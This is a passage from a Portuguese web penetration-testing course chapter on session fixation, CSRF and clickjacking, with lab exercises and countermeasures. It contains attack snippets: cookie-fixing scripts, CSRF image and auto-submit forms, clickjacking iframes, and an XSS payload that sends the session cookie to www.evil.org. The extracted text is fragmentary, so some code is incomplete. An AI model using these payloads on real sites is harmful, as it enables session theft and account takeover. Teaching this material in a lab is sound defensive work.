Uma vez que o atacante conhece o identificador de sesso utilizado pela vtima, ele capaz
de entrar na sesso dela e executar quaisquer operaes desejadas, que no requeiram nova
autenticao. No exemplo dado, uma requisio para consulta de saldo bancrio realizada.
148
(1) <a href=http://www.app.com/login.php?sid=12345> (5) GET /saldo.php?sid=12345
Vtima
www.app.com
(2) GET /login.php?sid=12345
Figura 4.10 Observe que a tcnica de fixao empregada, nesse cenrio, baseia-se no transporte do
Ataque de fixao identificador de sesso, por meio de um parmetro da URL que especifica o destino do link
de sesso.
enviado vtima.
Segundo Kolek (2007) e Siles (2011), tal mtodo apenas uma das diversas maneiras,
abaixo sumarizadas, de realizar a tarefa:
1 Execuo de scripts no lado cliente: isso pode acontecer quando a aplicao vulne-
rvel a ataques de cross-site scripting, por exemplo, que exploram a confiana deposi-
Captulo 4 - Teste do gerenciamento de sesses
tada pelo navegador web no servidor, para carregar cdigo malicioso no primeiro, sem
violar a poltica de mesma origem. O vetor abaixo ilustra um cdigo Javascript desse tipo,
utilizado para fixar o identificador de sesso PHPSESSID para o valor 12345:
<script>document.cookie=PHPSESSID=12345; path=/;</script>
1 Injeo de <meta> tags HTML: o marcador <meta> empregado em HTML para prover
metadados sobre o documento, como autor e descrio, por exemplo. Ele tambm pode ser
utilizado para simular um cabealho do protocolo HTTP, por meio do atributo http-equiv, e,
assim, definir cookies para a aplicao web. De modo geral, a injeo de marcadores <meta>
pode ser realizada, valendo-se de um ataque de cross-site scripting, mas com a vantagem
de, muitas vezes, no ser filtrada, como no caso de marcadores <script>.
149
O seguinte vetor exemplifica o uso do marcador <meta>, para simular um cabealho
HTTP Set-Cookie, que fixa o valor de PHPSESSID para 98765:
A Figura 4.11 ilustra o uso do complemento Add N Edit Cookie do Firefox, visando a adio
de um cookie PHPSESSID, com o valor 12345, para o site dvwa.esr.rnp.br. Alm disso, a
data de expirao definida para o dia 7 de agosto de 2013, criando, desse modo, um
cookie persistente, o qual estende a janela de explorao at a data especificada.
1 Adulterao de pacotes de rede: em um primeiro instante, pode parecer que um Figura 4.11
usurio malicioso, capaz de adulterar pacotes de rede em tempo real, pode, diretamente, Fixao de identi-
ficador de sesso
injetar requisies com o identificador de sesso interceptado, sem a necessidade de um definido em cookie,
ataque de fixao de sesso. Embora isso seja verdade, em muitos casos, o mtodo no por meio do com-
funciona, se o protocolo HTTPS utilizado em todas as requisies aplicao. plemento Add N Edit
Cookie do Firefox.
Nessa situao, um ataque possvel consiste em injetar, em uma resposta de outra
aplicao, um elemento <img> que carregue uma imagem da aplicao vulnervel, via
protocolo HTTP. Ao receber a pgina contendo o item forjado, o navegador requisita o
recurso ao servidor, cuja resposta interceptada pelo atacante. Nesse momento, ele
Teste de Invaso de Aplicaes Web
<script>document.cookie=PHPSESSID=12345; domain=dominio.com;
path=/;</script>
Depois disso, se a vtima acessa a loja virtual da mesma entidade, cujo nome de domnio
loja.dominio.com, o cookie PHPSESSID com o valor fixado enviado na requisio. Note que
esse ataque pode ser executado, tambm, quando os subdomnios so administrados por
pessoas ou entidades diferentes.
1 Cross-site cooking: esse mtodo depende, para ser executado, de uma vulnerabilidade
no navegador web a qual no tem ocorrido faz um bom tempo. O princpio consiste em
definir um cookie para a aplicao alvo, a partir de um domnio totalmente diferente. Por
exemplo, considere que a resposta a uma requisio ao domnio www.evil.org inclua o
seguinte cabealho:
O comportamento esperado que o cookie no seja aceito, pois o domnio especificado por
domain diferente do acessado. Contudo, se o navegador vulnervel, o cookie malicioso
no rejeitado, e todo acesso subsequente a pginas do domnio esr.rnp.br faz com que ele
seja enviado junto requisio.
Verificao de vulnerabilidade
Recapitulando, o ataque de fixao de sesso ocorre porque a aplicao no gera um novo
identificador de sesso, aps uma mudana no nvel de acesso do usurio. Com base nisso,
para verificar se uma aplicao web vulnervel ao ataque, o seguinte roteiro de teste pode
ser adotado:
2.2.Acesse uma pgina que requeira a autenticao do usurio e fornea credenciais vlidas.
Captulo 4 - Teste do gerenciamento de sesses
3. Se no:
3.3.Encerre a sesso.
151
3.6.Compare os identificadores obtidos antes e aps a autenticao, tendo em mente q
que valores iguais implicam sistema vulnervel fixao de sesso.
Nesse caso, basta pressionar o boto de retorno pgina anterior no navegador para
continuar utilizando o sistema normalmente. Se a aplicao utiliza diretivas contra o arma-
zenamento de pginas no cache do navegador, o recurso deve ser carregado novamente, a
partir do servidor.
tando imputar responsabilidades, e que um atacante utilize a aplicao, sem ser notado.
Percebe-se, portanto, que tal prtica , de fato, vulnervel e deve ser reportada, sempre que
identificada em um ambiente. O teste que pode ser realizado, para verificar esse problema,
bastante simples e consiste em se autenticar na aplicao, com a mesma conta, a partir de
dois navegadores web diferentes. Se o sistema permitir que isso seja realizado, ele vulne-
rvel e deve ser corrigido. Uma observao importante que deve ser feita que no basta
realizar o teste, acessando a aplicao a partir de duas abas ou duas janelas do mesmo
navegador, pois, normalmente, o identificador de sesso compartilhado entre elas.
152
Cross site request forgery
Cross Site Request Forgery (CSRF) um ataque que se aproveita de uma sesso de q
usurio j estabelecida com a aplicao vulnervel, para realizar operaes de maneira
automtica, sem o conhecimento e consentimento da vtima.
1 Uso de estrutura de URL invarivel, isso , cada recurso da aplicao sempre aces-
sado pela mesma URL, independentemente do usurio e da sesso estabelecida.
www.app.com
Vtima
Usurio + senha
(1) Captulo 4 - Teste do gerenciamento de sesses
SID + http://www.app.com/proc.jsp?acao=10
(4)
153
2. A aplicao verifica as credenciais e, caso estejam corretas, atribui um identificador nico
sesso do usurio, na forma de um cookie, que enviado pelo navegador, em todas as
requisies seguintes realizadas ao sistema.
3. Um usurio malicioso, que conhece a estrutura das URLs da aplicao, envia uma men-
sagem vtima, contendo um link para executar uma ao no sistema. fcil perceber
que, adotando essa abordagem, o usurio deve ser induzido a clicar no link, por meio de
engenharia social, para que o ataque funcione. Dependendo de quo consciente ele ,
em termos de segurana da informao, isso pode ou no ocorrer. Assim, mais eficaz
utilizar elementos HTML que realizam as requisies, automaticamente, como o caso de
imagens, por exemplo.
4. A vtima abre uma nova janela do mesmo navegador que est usando no acesso apli-
cao para ler a caixa de correio eletrnico. Nisso, acessa a mensagem maliciosa e clica
no link fornecido pelo atacante. O navegador, ento, efetua a requisio aplicao e
envia, tambm, o identificador de sesso atribudo ao usurio.
5. A aplicao atende a requisio, pois no tem como discerni-la de uma solicitao legtima,
feita pela prpria interface do sistema, uma vez que o identificador de sesso est correto.
Como exemplo, considere o cenrio abaixo baseado em um ponto de acesso sem fio real,
que utiliza uma interface web para gerenciamento, como a grande maioria desses dis-
positivos. A aplicao emprega o mtodo de autenticao bsica do protocolo HTTP e as
requisies so feitas todas por meio do mtodo POST. Uma das diversas funcionalidades
apresentadas pelo equipamento o controle de acesso por meio do endereo MAC do
cliente, que precisa estar pr-cadastrado para conseguir conectar-se. A Figura 4.13 ilustra a
interface para desativao desse servio e o formato da requisio gerada, quando o admi-
nistrador clica em Apply.
Com um teste simples, fcil constatar que a requisio pode ser feita tambm por meio do Figura 4.13
Teste de Invaso de Aplicaes Web
mtodo GET. Embora isso no seja um pr-requisito para que um ataque de cross-site Estrutura da requi-
sio para desativar
request forgery acontea, facilita muito a vida do atacante. Observe, tambm, que, aparen- o filtro de MAC.
temente, no h parmetros que sejam funo da sesso estabelecida, o que implica que a
URL para realizar a operao segue uma estrutura fixa. Com base nessas informaes todas,
um ataque pode proceder da seguinte maneira:
154
<img src=http://192.168.0.1:80/adv_filters_mac.cgi?
editRow=-1&delrow=-1&filters=1&macFilter=0&name=&
mac1=&mac2=&mac3=&mac4=&mac5=&mac6= />
No cenrio acima, optou-se por utilizar uma requisio GET, no lugar do mtodo POST, usado
originalmente pela aplicao. Observe que essa traduo nem sempre possvel e, em tais
situaes, outra tcnica deve ser empregada para executar o ataque CSRF. Considere, por
exemplo, um sistema que permite a troca de senhas, por meio do seguinte formulrio:
New password:<br>
</form>
<body onload=document.forms[fcsrf].Change.click();>
method=post>
</form>
155
</body>
Um problema da abordagem acima que, uma vez enviado o formulrio, a pgina de res-
posta carregada na janela do navegador, alertando o usurio sobre o ataque realizado.
Para evitar que isso acontea, um pequeno ajuste pode ser realizado, o qual consiste em
abrir o formulrio em um iframe invisvel, contido em outra pgina do domnio do atacante.
Desse modo, o documento de resposta, fornecido pela aplicao alvo, no fica visvel
vtima. A pgina HTML abaixo ilustra essa tcnica, empregando o atributo opacity para con-
seguir a transparncia necessria.
<html>
<head><title>Evil.org</title></head>
<body>
</iframe>
</body>
</html>
Toda vez que uma requisio recebida pela aplicao, esse valor, chamado de token q
anti-CSRF, deve ser validado e, caso no seja o esperado ou no esteja presente, uma
resposta de erro deve ser enviada ao solicitante.
Note que, para no ser vulnervel a ataques, o token no pode ser previsvel e deve ter um
tamanho em bits suficiente para evitar busca exaustiva de valores.
Adotada essa contramedida, o usurio malicioso precisa, para efetuar o ataque, des- q
cobrir o valor do token anti-CSRF ou, ento, que a aplicao seja vulnervel, tambm,
a um ataque de cross-site scripting. Nesse ltimo caso, todo e qualquer controle, para
evitar ataques CSRF, inutilizado, e a explorao de requisies via mtodo POST deixa
de necessitar que a vtima visite uma pgina maliciosa, uma vez que a poltica de mesma
origem respeitada.
A interao entre esses defeitos tema do Captulo 5, que trata especificamente de cross-site
scripting. Caso esse ataque no seja possvel, a tcnica chamada clickjacking, refinada h pouco
Teste de Invaso de Aplicaes Web
tempo (Stone, 2010), apresenta-se como um mtodo alternativo para violar tokens anti-CSRF.
Para encerrar esta seo, observe o roteiro de teste que pode ser utilizado, com o obje- q
tivo de verificar se uma aplicao vulnervel a cross-site request forgery:
156
1 Abra a pgina criada em uma nova janela e verifique se a ao realizada, automati- q
camente, pela aplicao. Em caso de resposta positiva, o ataque possvel.
Exerccio de fixao 3 e
Cross site request forgery
Como funciona o ataque cross site request forgery?
Clickjacking
O ataque clickjacking, introduzido por Hansen e Grossman (2008), consiste em induzir q
a vtima a clicar em objetos de uma pgina que esto sobrepostos, invisivelmente, por
elementos de uma aplicao web alvo. Desse modo, quando o usurio tenta clicar no
objeto visvel, na realidade, ele interage com a pgina transparente que est carregada
por cima das demais. Isso pode ser feito por meio de um objeto iframe especificado
com opacidade zero e com profundidade, definida pelo atributo z-index, maior que
a da pgina visvel. Esta, por sua vez, caso no seja controlada pelo atacante, deve
ser carregada em outro iframe, com z-index menor. Sem isso, criar o frame superior
implica alterar o documento original, o que possvel somente com cdigo injetado,
devido poltica de mesma origem.
Nesse contexto, imagine que a pgina carregada no iframe superior pertena a uma
aplicao web, na qual a vtima se encontra autenticada, em outra janela do navegador.
Caso o clique, na camada invisvel, ocorra em um boto de submisso de formulrio,
por exemplo, uma requisio POST efetuada, contendo o identificador de sesso do
usurio. A aplicao web no capaz de diferenci-la de uma solicitao legtima e, assim,
a processa normalmente e retorna a resposta esperada. Note que esse ataque bastante
similar a um cross-site request forgery, diferindo apenas no fato de no poder ser auto-
matizado. Isso, porm, no deve ser visto como um fator limitante, pois diversos ataques
avanados so possveis, graas a resultados recentemente obtidos (Stone, 2010).
Um exemplo real e relativamente recente de clickjacking afetou o Twitter, fazendo com que
os usurios enviassem a mensagem Dont Click: http://tinyurl.com/amgzs6 (Mahemoff, 2009).
Quando um seguidor clicava no link, acessava uma pgina contendo um nico boto com
o ttulo Dont Click. Devido curiosidade, este tambm era clicado, mas o item que de fato Captulo 4 - Teste do gerenciamento de sesses
recebia o evento consistia no boto para envio de mensagem do Twitter, que era carre-
gado em um iframe invisvel e alinhado. Este definia como src o valor http://twitter.com/
home?status=Dont Click: http://tinyurl.com/amgzs6, o que abria o Twitter com a mensagem
misteriosa, pronta para ser enviada. O cdigo HTML da pgina maliciosa empregada no
ataque est ilustrado na Figura 4.14 (Balduzzi et al., 2010), e o processo de sobreposio e
alinhamento, na Figura 4.15.
157
<iframe style={
filter:alpha(opacity=0);
scrolling= no
src=http://twitter.com/home?status=Dont Click:
http://tinyurl.com/amgzs6>
</iframe>
<button style={
position:absolute; z-index:1;
importante observar, no cdigo HTML da Figura 4.14, que Cascading Style Sheets (CSS) CSS
empregado, para posicionar o iframe e o boto, de maneira alinhada. Note que os atri- Mecanismo simples
utilizado para
butos top e left do primeiro contm valores negativos, em um esquema de posicionamento
configurar a aparncia
absoluto, o que faz com que a localizao do canto superior esquerdo do iframe seja acima de documentos web,
e esquerda do canto correspondente da janela do navegador. Alm disso, os ndices de que permite, dentre
outras coisas, escolher
profundidade so definidos de modo que o boto fique para trs da pgina do Twitter,
fontes, posicionar
enquanto que a opacidade igual a zero torna o frame totalmente transparente. Opacity e objetos e definir as
filter so utilizados concomitantemente por questes de compatibilidade com o Firefox e o cores dos diversos
elementos da pgina.
Internet Explorer, respectivamente.
Teste de Invaso de Aplicaes Web
Note que, nesse cenrio, a adio de um token anti-CSRF no resolveria o problema, pois ele Figura 4.15
seria carregado juntamente com a pgina e submetido com a requisio, que sempre Clickjacking
contra o Twitter.
efetuada manualmente pelo usurio, embora de maneira involuntria. Isso ilustra bem o
fato de que a proteo contra cross-site request forgery, baseada em token individual, pode
alternativamente ser quebrada por clickjacking, caso a aplicao no seja vulnervel a
158
cross-site scripting. Para isso, porm, deve ser possvel ao atacante preencher os campos do
formulrio, como no caso do Twitter, em que a tarefa realizada por meio de valores
passados na URL.
Como esse mtodo no funciona, em muitos casos, outras tcnicas devem ser consideradas
para viabilizao do ataque.
Os passos seguintes resumem a tcnica descrita por Stone (2010) para efetivao do ataque:
2. Quando a operao de arrastamento iniciada, um script define o texto que deve ser
copiado para o campo de formulrio destino, o qual no fica visvel para o usurio.
3. No momento em que a pessoa solta o objeto, o dado desejado copiado para o campo alvo.
4. O processo deve ser orquestrado de modo que todos os campos necessrios sejam
preenchidos.
Para uma melhor compreenso do clickjacking e das evolues recentes que sofreu,
considere a aplicao DVWA, ilustrada na Figura 4.16. A pgina apresentada tem o objetivo
de permitir a troca de senha, mas sem solicitar o valor anterior ao usurio. Isso facilita a
Figura 4.16 ocorrncia de um ataque de cross-site request forgery, que combatido, por meio de um
Aplicao DVWA mecanismo baseado em tokens anti-CSRF, includo na verso original do software, para o
modificada, para
incluir token presente exemplo. Outra modificao realizada visa permitir a submisso do formulrio via
Captulo 4 - Teste do gerenciamento de sesses
159
Considerando que a aplicao no seja vulnervel a cross-site scripting, o ataque clickjacking
deve ser empregado, para explorar o problema de cross-site request forgery. Com esse
objetivo, a vtima, uma vez autenticada no DVWA, deve ser induzida a acessar uma pgina
do atacante, como a apresentada na Figura 4.17. O disfarce utilizado, nesse cenrio, consiste
em um jogo de perguntas, no qual o usurio deve arrastar elementos da primeira para a
segunda coluna.
Observe que a disposio dos elementos na coluna de respostas muito similar dos Figura 4.17
campos da aplicao alvo. Evidentemente, isso no obra do acaso, mas, sim, resultado de Aplicao visvel do
ataque clickjacking.
um desenho cuidadoso, para que ocorra o alinhamento dos objetos, quando sobrepostos.
Como o DVWA deve receber o evento de liberao do boto do mouse, necessrio que seja
carregado no iframe superior. Porm, este no pode cobrir toda a rea visvel da tela, seno
o evento que sinaliza o incio do arrastamento no recebido pela aplicao debaixo dele.
Desse modo, a rea que deve ser coberta corresponde somente aos dois campos de
resposta mais o boto, conforme pode ser visualizado na Figura 4.18.
Note que a parte exibida do DVWA, na sobreposio, fica originalmente no meio da pgina, Figura 4.18
embora ocupe o canto superior do iframe. Isso implica que o contedo precisou ser Sobreposio da
Teste de Invaso de Aplicaes Web
aplicao de per-
posicionado dentro do recorte, de modo a se obter o alinhamento dos elementos. Mas como guntas pelo DVWA.
isso possvel? Sabe-se que um script carregado a partir do site malicioso no tem per-
misso para manipular o documento dentro do iframe, devido poltica de mesma origem.
Porm, como o iframe em si um objeto oriundo do mesmo domnio, ele, sim, pode ser
posicionado, na pgina de perguntas. Embora isso seja um passo em direo soluo,
ainda no suficiente para atender a demanda, pois um iframe maior precisaria ser
definido, o que cobriria outras regies da tela e impediria a correta captura de eventos.
O truque, ento, consiste em definir uma seo do documento HTML, por meio do marcador
<div>, que cubra exatamente a rea desejada. O posicionamento e o tamanho so obtidos
160
por meio de uma folha de estilo, cujo atributo overflow deve ser definido com o valor
hidden, para que o contedo que extravase a regio especificada no seja exibido. Dentro
dessa diviso, define-se um iframe invisvel, no qual a aplicao DVWA carregada, com
tamanho suficiente para a regio de interesse ser visualizada, sem cortes, e posicionado de
modo que os campos das duas aplicaes fiquem alinhados. O cdigo HTML correspondente
a essa soluo encontra-se documentado na Figura 4.19.
<div style=position:absolute;left:190px;top:50px;height:100px;
width:200px;overflow:hidden>
style=position:absolute;left:-300px;top:-208px;
height:1000px;width:1000px;opacity:0.50
scrolling=no>
Figura 4.19
Cdigo HTML para </iframe>
sobreposio de
iframe, com posicio- </div>
namento e recorte.
Falta, agora, descrever o mecanismo utilizado para injetar contedo nos campos textuais,
por meio do arrastamento de objetos. Na Figura 4.18, os textos 1. RSA e 2. AES esto con-
tidos em divises separadas do documento HTML, especificadas pelo marcador <div>. Cada
uma delas define o atributo draggable com o valor true, para que o objeto textual possa ser
arrastado pelo usurio, alm de cdigo Javascript para tratamento dos eventos dragstart e
dragend. O primeiro ocorre, no incio do arrastamento, quando o valor a ser copiado deve
ser definido, por meio do comando event.dataTransfer.setData(). J o ltimo acontece, ao final
da operao, e deve resultar no preenchimento do campo de resposta, com o nmero esco-
lhido. A Figura 4.20 ilustra o cdigo HTML do primeiro elemento.
<div id=f1
style=position:absolute;left:10px;top:60px
draggable=true
document.forms[fd].elements[r1].value=1;
} else {
document.forms[fd].elements[r2].value=1;}>
Figura 4.20
Cdigo HTML para 1. RSA
sobreposio de
iframe, com posicio- </div>
namento e recorte.
161
Uma maneira de evitar o ataque clickjacking, introduzida pela Microsoft, consiste na q
utilizao do cabealho HTTP X-FRAME-OPTIONS, que indica ao navegador web em que
condies uma dada pgina pode ser carregada em um frame. Um valor DENY probe
completamente que isso acontea, enquanto que um valor SAMEORIGIN permite o
carregamento, desde que o contexto de navegao de mais alto nvel seja exatamente
o mesmo que o do contedo, para o qual a diretiva X-FRAME-OPTIONS foi definida
(Rydstedt et al., 2010).
Uma desvantagem do mtodo, que pode ser citada, resume-se na necessidade de ter de
especificar o cabealho para todas as pginas da aplicao, impactando com isso o processo
de desenvolvimento.
Outra tcnica, chamada de frame busting, verifica, por meio de scripts, se a pgina est q
sendo carregada em um frame e, em caso positivo, redireciona o objeto window de mais
alto nvel, para ela prpria.
O cdigo que realiza essa tarefa, normalmente, composto por um comando condicional e
uma contramedida, como o ilustrado abaixo (Rydstedt, 2010):
if (top.location != location)
top.location = self.location;
O cdigo apresentado, embora comumente utilizado, pode ser quebrado por meio do atri-
buto sandbox do iframe, que desabilita Javascript, e por diversos outros mtodos (Rydstedt,
2010; Kuppan, 2010), como o tratamento do evento onBeforeUnload, disparado antes de
uma pgina ser descarregada. Como as tcnicas para quebrar frame busting consistem em
evitar que o cdigo Javascript seja executado, a estratgia de proteo deve ser invertida.
Assim, em vez de tomar uma ao, quando a pgina carregada em um frame, deve-se,
por padro, exibir uma pgina em branco e somente mostrar o documento original, caso o
cdigo de proteo no esteja executando no contexto de um frame.
Seguindo a ideia acima, a Figura 4.21 ilustra uma das solues mais eficazes de frame
busting, proposta por Rydstedt (2010). Note que, por meio de uma folha de estilo, a pro-
priedade display empregada para determinar que a pgina no deve gerar uma caixa CSS
e, assim, no deve ser exibida. Caso Javascript possa ser executado, o script verifica se o
documento HTML est sendo carregado na janela de mais alto nvel. Em caso positivo, a
propriedade display alterada para o valor block, que gera uma caixa rodeada por quebras
de linha, causando a exibio da pgina escondida; se no, ela aberta programaticamente
na janela principal, por meio do cdigo top.location = self.location. Finalmente, se Javascript
estiver desabilitado, nenhum cdigo executado, deixando a pgina no estado inicial e
seguro, em que nada exibido.
Teste de Invaso de Aplicaes Web
<style>
html {display:none;}
</style>
<script>
if (self == top) {
document.documentElement.style.display = block;
} else {
162
top.location = self.location;
</script>
Se o sistema no impedir que isso acontea, possvel afirmar que ele susceptvel ao ataque.
Contramedidas
De modo a evitar defeitos de segurana no mecanismo de gerenciamento de sesses de q
uma aplicao web, os seguintes controles devem ser adotados (Stuttard e Pinto, 2007;
Siles, 2011; Kolek, 2007; Rydstedt, 2010):
1 No utilize os atributos domain e path, para nenhum dos cookies definidos pela apli-
cao. Isso faz com que, automaticamente, os valores mais restritivos sejam adotados.
1 Nunca aceite identificadores de sesso definidos pelo usurio. Caso isso acontea, Captulo 4 - Teste do gerenciamento de sesses
163
1 Encerre as sesses, automaticamente, aps um determinado perodo de ociosidade e q
depois de transcorrido um tempo total mximo de uso.
1 Solicite que o usurio se reautentique, antes que operaes crticas sejam realizadas.
Desse modo, caso uma requisio seja feita automaticamente, como parte de um
CSRF, a operao somente finalizada com anuncia humana.
1 Utilize o mtodo POST em vez de GET. Embora isso no seja, nem de longe, uma
soluo completa contra CSRF, dificulta um pouco a vida do atacante eventual.
164
Roteiro de Atividades 4
Atividade 1 Introduo ao gerenciamento de sesses
Esta atividade tem por objetivo introduzir os mecanismos de gerenciamento de sesses
usados pelas aplicaes web, para suprir a deficincia apresentada pelo protocolo HTTP
nessa arena. Para inici-la, carregue as mquinas virtuais do aluno e do servidor (Fedora) e
execute os roteiros na primeira delas.
2. Clique na aba Proxy, depois em Manual Edit e, por fim, desmarque a opo Intercept requests.
8. Na parte inferior da janela de conversao, clique na aba Raw e observe como o cabe-
alho Set-Cookie foi definido.
10. Retorne ao Firefox e acesse o Bodgeit Store, por meio da barra de atalhos.
13. Verifique no WebScarab que tipo de mecanismo utilizado para gerenciamento de sesso.
O propsito desta atividade introduzir ao aluno os mtodos que podem ser utilizados para a
descoberta e explorao de vulnerabilidades, em mecanismos de gerenciamento de sesses.
Todos os exerccios devem ser realizados na mquina virtual do aluno e altamente recomen-
dado que se tente traar a estratgia de explorao antes de seguir o roteiro fornecido.
165
Identificadores de sesso previsveis
O objetivo deste exerccio analisar a previsibilidade dos identificadores de sesso, com
auxlio das ferramentas WebScarab e Stompy, alm de realizar a engenharia reversa de um
mecanismo proprietrio de gerenciamento de sesso.
2. Clique na aba Proxy, depois em Manual Edit e, por fim, desmarque a opo Intercept requests.
7. Role a tela at encontrar a coluna Set-Cookie e anote o nmero da linha contendo o valor
PHPSESSID.
10. Clique no boto Test, observe os cookies que foram definidos e clique em Ok.
19. Role a tela at encontrar a coluna Set-Cookie e anote o nmero da linha contendo o
valor session.
25. Pressione Ctrl + S, para salvar o arquivo no diretrio /tmp, usando o nome wacko.req, e
clique no boto Salvar.
166
28. Repita os passos 8 a 12, mas considerando a linha anotada no passo 19.
~$ stompy
33. Digite o comando abaixo, para analisar os identificadores de sesso da aplicao DVWA:
~$ stompy http://dvwa.esr.rnp.br
35. Digite o comando abaixo, para analisar os identificadores de sesso da aplicao WackoPicko:
43. Na tela que aparece, autentique-se com webgoat/webgoat e veja a mensagem Welcome, webgoat.
45. Role a tela at encontrar a coluna Set-Cookie e d um duplo clique na linha de maior
nmero contendo o valor AuthCookie.
52. Iniciando a engenharia reversa dos identificadores, observe que as cinco primeiras posi-
es so constantes e correspondem ao nmero 65432.
167
53. Qual a relao entre os tamanhos da parte composta por letras e do respectivo identifi-
cador de usurio?
54. Existe alguma letra que se repete nos identificadores de usurio? E nos identificadores
de sesso?
58. Troque o valor de AuthCookie, no cabealho Cookie, para o determinado no passo 55.
~$ less ids.txt
~$ stompy -R ids.txt
168
Transmisso em claro de identificador de sesso
O objetivo deste exerccio capturar o identificador de sesso, por meio da escuta dos pacotes
de rede, em um cenrio em que nenhuma proteo utilizada no transporte de informaes.
3. Clique no primeiro cone da barra de ferramentas, para listar as interfaces de rede dis-
ponveis para captura. Na caixa de dilogo que aparece, clique em Options da linha eth1.
Em seguida, no campo Capture filter, digite tcp port http e clique em Start, para iniciar a
captura de pacotes.
7. Na segunda parte da tela, expanda o item Hypertext Transfer Protocol e procure pelo
cabealho Set-Cookie. Observe que o cookie PHPSESSID transmitido em claro.
<script>alert(document.cookie)</script>
7. Clique em Ok.
Captulo 4 - Roteiro de Atividades
<script>document.write(<img src=http://www.evil.org/?SID=+ 8
9. Clique em Submit.
11. Acesse o arquivo de trilhas de auditoria do servidor www.evil.org, por meio da URL:
http://www.evil.org/logs/evil.org-access_log
169
12. Procure o registro da requisio realizada pelo elemento <img> injetado no passo 8.
O valor do cookie o mesmo que o identificado no passo 5?
Atributos de cookies
O propsito deste exerccio fixar os conceitos sobre os atributos que podem ser utilizados
por cookies e o impacto que tm em segurana.
2. Clique na aba Proxy, depois em Manual Edit e, por fim, desmarque a opo Intercept requests.
10. No WebScarab, clique na aba Summary e role a janela at a coluna Set-Cookie. Veja que
um cookie ESRSID foi definido.
14. Verifique, no WebScarab, que o cookie no foi enviado, porque o navegador honrou o
atributo secure.
15. Retorne duas pginas no Firefox, para acessar novamente a pgina inicial.
19. Clique em Criar Novo Cookie e, depois, novamente em Ler Cookie. Veja que um cookie
Teste de Invaso de Aplicaes Web
foi adicionado.
20. Acesse o menu Tools e clique em Cookie editor. Veja que h dois cookies com o nome
ESRSIDHO e encerre a janela do complemento.
21. Pressione Alt +[Seta para esquerda], para retornar pgina anterior.
23. Veja, por meio do Add N Edit Cookie, que um novo cookie, ESRSIDDO, foi definido.
170
25. Veja no WebScarab que o cookie ESRSIDDO foi enviado.
27. Veja pela mensagem de erro que nenhum cookie foi enviado pelo navegador.
30. Veja, por meio do Add N Edit Cookie, que um novo cookie, ESRSIDPA, foi definido.
Sequestro de sesso
Uma vez descoberto o identificador de uma sesso vlida, o prximo passo consiste no
sequestro dessa sesso. Neste exerccio, o leitor ver como isso pode ser realizado.
3. Clique no primeiro cone da barra de ferramentas para listar as interfaces de rede dis-
ponveis para captura. Na caixa de dilogo que aparece, clique em Options da linha eth1.
Em seguida, no campo Capture filter, digite tcp port http e clique em Start, para iniciar a
captura de pacotes.
http://dvwa.esr.rnp.br/vulnerabilities/xss_r/
10. Selecione o cookie PHPSESSID definido para o domnio dvwa.esr.rnp.br e clique em Edit.
11. Altere o campo Content para o valor anotado no passo 6 e clique em Save.
171
13. Encerre o Wireshark, o Google Chrome e o Firefox.
Fixao de sesso
Diferentemente de um sequestro de sesso, no qual o usurio malicioso precisa descobrir
um identificador de sesso vlido, no ataque de fixao de sesso utiliza-se um valor j
conhecido. Nesta prtica, o leitor aprender a detectar aplicaes vulnerveis a esse tipo de
ataque e como o defeito pode ser explorado.
Parte II Explorao
172
2. Acesse o Gruyere, a partir da barra de atalhos.
173
4. Clique na opo de menu CSRF.
5. Observe que a aplicao no pede a senha atual para substitu-la por um novo valor.
8. Acesse http://www.evil.org/get/get.html.
11. Tente, agora, com as credenciais admin e pwd. Note que a senha foi alterada em decor-
rncia da visita ao site www.evil.org.
13. Pressione Ctrl + U, para ver o cdigo HTML. Veja que a pgina csrf.html carregada em
um iframe com opacidade 0.00.
16. Pressione Ctrl + U, para ver o cdigo HTML. Como a operao de troca de senha reali-
zada automaticamente?
18. Retorne ao DVWA, acesse a opo CSRF e altera a senha para password novamente.
23. Tente, agora, com as credenciais admin e pwd. Note que a senha foi alterada em decor-
rncia da visita ao site www.evil.org.
25. Pressione Ctrl + U, para ver o cdigo HTML. Veja que a pgina csrf.html carregada em
Teste de Invaso de Aplicaes Web
28. Retorne ao DVWA, acesse a opo CSRF e altera a senha para password novamente.
174
Parte III Token anti-CSRF
32. Pressione Ctrl + U e veja se algum item especfico de pgina foi includo.
Clickjacking
Clickjacking um ataque relativamente novo e que j evoluiu para formas mais perigosas de
explorao. Neste exerccio, o aluno testar diversos sites web, para ver se so vulnerveis,
e quebrar o mecanismo baseado em token anti-CSRF.
2. Acesse http://cjtest.esr.rnp.br.
3. Digite a URL da pgina institucional do lugar em que trabalha e clique em Teste de Clickjacking.
A pgina foi exibida no iframe?
10. Marque Usar sandbox e repita o Passo 4. Houve alguma alterao no resultado?
175
11. Marque Usar sandbox e repita o Passo 5. Houve alguma alterao no resultado?
12. Marque Usar sandbox e repita o Passo 6. Houve alguma alterao no resultado?
20. Pressione Ctrl + U e veja se algum item especfico de pgina foi includo.
176
Bibliografia 4
1 BALDUZZI, Marco; EGELE, Manuel; KIRDA, Engin; BALZAROTTI, Davide e KRUEGEL,
Christopher. A Solution for the Automated Detection of Clickjacking Attacks. In:
ASIACCS 10 Proceedings of the 5th ACM Symposium on Information, Computer and
Communications Security, 2010.
1 BARRALL, Darrin. Automated Cookie Analysis Are your web applications vulnerable?. SPI
Dynamics, 2005.
1 BURNS, Jesse. Cross Site Reference Forgery An introduction to a common web application
weakness. Information Security Partners, LLC, 2005.
1 BURNS, Jesse. Cross Site Request Forgery an introduction to a common web application
weakness. Information Security Partners, LLC, 2007.
1 ENDLER, David. Brute-Force Exploitation of Web Application Session IDs. iAlert White Paper,
iDEFENSE Labs, 2001.
1 ESPOSITO, Dino. Take Advantage of ASP.NET Built-in Features to Fend Off Web Attacks.
Disponvel em: http://msdn.microsoft.com/en-us/library/ms972969.aspx. Data de acesso:
25/07/2011. MSDN Library, 2005.
1 JOVANOVIC, Nenad; KIRDA, Engin e KRUEGEL, Christopher. Preventing Cross Site Request
Forgery Attacks. In: 2006 SecureComm and Workshops, IEEE, 2006.
1 KRISTOL, David e MONTULLI, Lou. HTTP State Management Mechanism. RFC 2965, 2000.
1 KUPPAN, Lavakumar. Attacking with HTML5. Attack & Defense Labs, 2010.
1 MAHEMOFF, Michael. Explaining the Dont Click Clickjacking Tweetbomb. Disponvel em:
http://softwareas.com/explaining-the-dont-click-clickjacking-tweetbomb. Data de acesso:
25/07/2011. Mahemoffs Podcast/Blog, 2009.
1 PALMER, Chris. Secure Session Management with Cookies for Web Applications. iSEC Partners,
Captulo 4 - Roteiro de Atividades
Inc., 2008.
